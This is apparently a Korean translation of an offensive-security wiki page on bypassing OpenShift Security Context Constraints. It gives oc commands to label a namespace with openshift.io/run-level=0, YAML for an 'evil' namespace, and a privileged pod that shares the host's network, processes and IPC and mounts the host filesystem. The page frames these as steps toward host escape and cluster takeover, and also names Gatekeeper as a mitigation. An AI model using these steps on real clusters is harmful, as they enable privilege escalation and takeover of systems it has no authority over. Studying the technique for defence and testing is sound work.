OpenShift - SCC bypass

์ด ํŽ˜์ด์ง€์˜ ์› ์ €์ž๋Š” Guillaume

ํŠน๊ถŒ ๋„ค์ž„์ŠคํŽ˜์ด์Šค

๊ธฐ๋ณธ์ ์œผ๋กœ SCC๋Š” ๋‹ค์Œ ํ”„๋กœ์ ํŠธ์— ์ ์šฉ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค:

  • default

  • kube-system

  • kube-public

  • openshift-node

  • openshift-infra

  • openshift

์ด๋Ÿฌํ•œ ๋„ค์ž„์ŠคํŽ˜์ด์Šค ์ค‘ ํ•˜๋‚˜์— ํŒŒ๋“œ๋ฅผ ๋ฐฐํฌํ•˜๋ฉด SCC๊ฐ€ ์ ์šฉ๋˜์ง€ ์•Š์•„ ํŠน๊ถŒ์ด ์žˆ๋Š” ํŒŒ๋“œ๋ฅผ ๋ฐฐํฌํ•˜๊ฑฐ๋‚˜ ํ˜ธ์ŠคํŠธ ํŒŒ์ผ ์‹œ์Šคํ…œ์„ ๋งˆ์šดํŠธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋„ค์ž„์ŠคํŽ˜์ด์Šค ๋ ˆ์ด๋ธ”

RedHat ๋ฌธ์„œ์— ๋”ฐ๋ฅด๋ฉด ํŒŒ๋“œ์—์„œ SCC ์ ์šฉ์„ ๋น„ํ™œ์„ฑํ™”ํ•˜๋Š” ๋ฐฉ๋ฒ•์ด ์žˆ์Šต๋‹ˆ๋‹ค. ๋‹ค์Œ ๊ถŒํ•œ ์ค‘ ํ•˜๋‚˜ ์ด์ƒ์ด ์žˆ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค:

  • ๋„ค์ž„์ŠคํŽ˜์ด์Šค ์ƒ์„ฑ ๋ฐ ํ•ด๋‹น ๋„ค์ž„์ŠคํŽ˜์ด์Šค์— ํŒŒ๋“œ ์ƒ์„ฑ

  • ๋„ค์ž„์ŠคํŽ˜์ด์Šค ํŽธ์ง‘ ๋ฐ ํ•ด๋‹น ๋„ค์ž„์ŠคํŽ˜์ด์Šค์— ํŒŒ๋“œ ์ƒ์„ฑ

$ oc auth can-i create namespaces
yes

$ oc auth can-i patch namespaces
yes

ํŠน์ • ๋ ˆ์ด๋ธ” openshift.io/run-level์€ ์‚ฌ์šฉ์ž๊ฐ€ ์‘์šฉ ํ”„๋กœ๊ทธ๋žจ์˜ SCC๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•ฉ๋‹ˆ๋‹ค. RedHat ๋ฌธ์„œ์— ๋”ฐ๋ฅด๋ฉด, ์ด ๋ ˆ์ด๋ธ”์„ ์‚ฌ์šฉํ•˜๋ฉด ํ•ด๋‹น ๋„ค์ž„์ŠคํŽ˜์ด์Šค ๋‚ด์˜ ๋ชจ๋“  ํŒŸ์— ๋Œ€ํ•ด SCC๊ฐ€ ์ ์šฉ๋˜์ง€ ์•Š์œผ๋ฏ€๋กœ ์ œํ•œ ์‚ฌํ•ญ์ด ์ œ๊ฑฐ๋ฉ๋‹ˆ๋‹ค.

๋ ˆ์ด๋ธ” ์ถ”๊ฐ€

๋„ค์ž„์ŠคํŽ˜์ด์Šค์— ๋ ˆ์ด๋ธ”์„ ์ถ”๊ฐ€ํ•˜๋ ค๋ฉด:

$ oc label ns MYNAMESPACE openshift.io/run-level=0

๋‹ค์Œ์€ YAML ํŒŒ์ผ์„ ํ†ตํ•ด ๋ ˆ์ด๋ธ”์ด ์ง€์ •๋œ ๋„ค์ž„์ŠคํŽ˜์ด์Šค๋ฅผ ์ƒ์„ฑํ•˜๋Š” ๋ฐฉ๋ฒ•์ž…๋‹ˆ๋‹ค:

apiVersion: v1
kind: Namespace
metadata:
name: evil
labels:
openshift.io/run-level: 0

์ง€๊ธˆ, ๋„ค์ž„์ŠคํŽ˜์ด์Šค์— ์ƒ์„ฑ๋œ ๋ชจ๋“  ์ƒˆ๋กœ์šด ํŒŒ๋“œ๋Š” ์–ด๋–ค SCC๋„ ๊ฐ€์ง€์ง€ ์•Š์•„์•ผ ํ•ฉ๋‹ˆ๋‹ค

$ oc get pod -o yaml | grep 'openshift.io/scc'
$

SCC๊ฐ€ ์—†์œผ๋ฉด ํŒŒ๋“œ ์ •์˜์— ์ œํ•œ์ด ์—†์Šต๋‹ˆ๋‹ค. ์ด๋Š” ์•…์˜์ ์ธ ํŒŒ๋“œ๊ฐ€ ํ˜ธ์ŠคํŠธ ์‹œ์Šคํ…œ์œผ๋กœ ์‰ฝ๊ฒŒ ์ดํƒˆ๋  ์ˆ˜ ์žˆ๋‹ค๋Š” ๊ฒƒ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค.

apiVersion: v1
kind: Pod
metadata:
name: evilpod
labels:
kubernetes.io/hostname: evilpod
spec:
hostNetwork: true #Bind pod network to the host network
hostPID: true #See host processes
hostIPC: true #Access host inter processes
containers:
- name: evil
image: MYIMAGE
imagePullPolicy: IfNotPresent
securityContext:
privileged: true
allowPrivilegeEscalation: true
resources:
limits:
memory: 200Mi
requests:
cpu: 30m
memory: 100Mi
volumeMounts:
- name: hostrootfs
mountPath: /mnt
volumes:
- name: hostrootfs
hostPath:
path:

์ด์ œ ํ˜ธ์ŠคํŠธ ์‹œ์Šคํ…œ์— ์•ก์„ธ์Šค ๊ถŒํ•œ์„ ์Šน๊ฒฉํ•˜์—ฌ ์ „์ฒด ํด๋Ÿฌ์Šคํ„ฐ๋ฅผ ์ธ์ˆ˜ํ•˜๊ณ  'cluster-admin' ๊ถŒํ•œ์„ ์–ป๋Š” ๊ฒƒ์ด ๋” ์‰ฌ์›Œ์กŒ์Šต๋‹ˆ๋‹ค. ๋‹ค์Œ ํŽ˜์ด์ง€์—์„œ Node-Post Exploitation ๋ถ€๋ถ„์„ ์ฐพ์•„๋ณด์„ธ์š” :

์‚ฌ์šฉ์ž ์ •์˜ ๋ ˆ์ด๋ธ”

๋˜ํ•œ ๋Œ€์ƒ ์„ค์ •์— ๋”ฐ๋ผ ์ด์ „ ๊ณต๊ฒฉ ์‹œ๋‚˜๋ฆฌ์˜ค์™€ ๋™์ผํ•œ ๋ฐฉ์‹์œผ๋กœ ์ผ๋ถ€ ์‚ฌ์šฉ์ž ์ •์˜ ๋ ˆ์ด๋ธ” / ์ฃผ์„์ด ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋ ˆ์ด๋ธ”์ด ํŠน์ • ๋ฆฌ์†Œ์Šค์— ๋Œ€ํ•œ ๊ถŒํ•œ์„ ๋ถ€์—ฌํ•˜๊ฑฐ๋‚˜ ์ œํ•œํ•˜๊ฑฐ๋‚˜ ์ œํ•œํ•˜์ง€ ์•Š๋„๋ก ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ผ๋ถ€ ๋ฆฌ์†Œ์Šค๋ฅผ ์ฝ์„ ์ˆ˜ ์žˆ๋‹ค๋ฉด ์‚ฌ์šฉ์ž ์ •์˜ ๋ ˆ์ด๋ธ”์„ ์ฐพ์•„๋ณด์„ธ์š”. ์—ฌ๊ธฐ์— ํฅ๋ฏธ๋กœ์šด ๋ฆฌ์†Œ์Šค ๋ชฉ๋ก์ด ์žˆ์Šต๋‹ˆ๋‹ค :

  • Pod

  • Deployment

  • Namespace

  • Service

  • Route

$ oc get pod -o yaml | grep labels -A 5
$ oc get namespace -o yaml | grep labels -A 5

๋ชจ๋“  ํŠน๊ถŒ ์žˆ๋Š” ๋„ค์ž„์ŠคํŽ˜์ด์Šค ๋‚˜์—ด

$ oc get project -o yaml | grep 'run-level' -b5

๊ณ ๊ธ‰ exploit

OpenShift์—์„œ๋Š” ์ด์ „์— ์‹œ์—ฐํ•œ ๋Œ€๋กœ openshift.io/run-level ๋ ˆ์ด๋ธ”์ด ์žˆ๋Š” ๋„ค์ž„์ŠคํŽ˜์ด์Šค์— pod๋ฅผ ๋ฐฐํฌํ•  ์ˆ˜ ์žˆ๋Š” ๊ถŒํ•œ์ด ์žˆ๋‹ค๋ฉด ํด๋Ÿฌ์Šคํ„ฐ๋ฅผ ์‰ฝ๊ฒŒ ํƒˆ์ทจํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํด๋Ÿฌ์Šคํ„ฐ ์„ค์ • ๊ด€์ ์—์„œ ์ด ๊ธฐ๋Šฅ์€ OpenShift์˜ ์„ค๊ณ„์— ๋‚ด์žฌ๋˜์–ด ์žˆ๊ธฐ ๋•Œ๋ฌธ์— ๋น„ํ™œ์„ฑํ™”ํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค.

๊ทธ๋Ÿฌ๋‚˜ Open Policy Agent GateKeeper์™€ ๊ฐ™์€ ์™„ํ™” ์กฐ์น˜๋ฅผ ํ†ตํ•ด ์‚ฌ์šฉ์ž๊ฐ€ ์ด ๋ ˆ์ด๋ธ”์„ ์„ค์ •ํ•˜๋Š” ๊ฒƒ์„ ๋ฐฉ์ง€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

GateKeeper์˜ ๊ทœ์น™์„ ์šฐํšŒํ•˜๊ณ  ์ด ๋ ˆ์ด๋ธ”์„ ์„ค์ •ํ•˜์—ฌ ํด๋Ÿฌ์Šคํ„ฐ ํƒˆ์ทจ๋ฅผ ์‹คํ–‰ํ•˜๋ ค๋ฉด ๊ณต๊ฒฉ์ž๋Š” ๋Œ€์•ˆ์ ์ธ ๋ฐฉ๋ฒ•์„ ์‹๋ณ„ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

์ฐธ๊ณ  ์ž๋ฃŒ

Last updated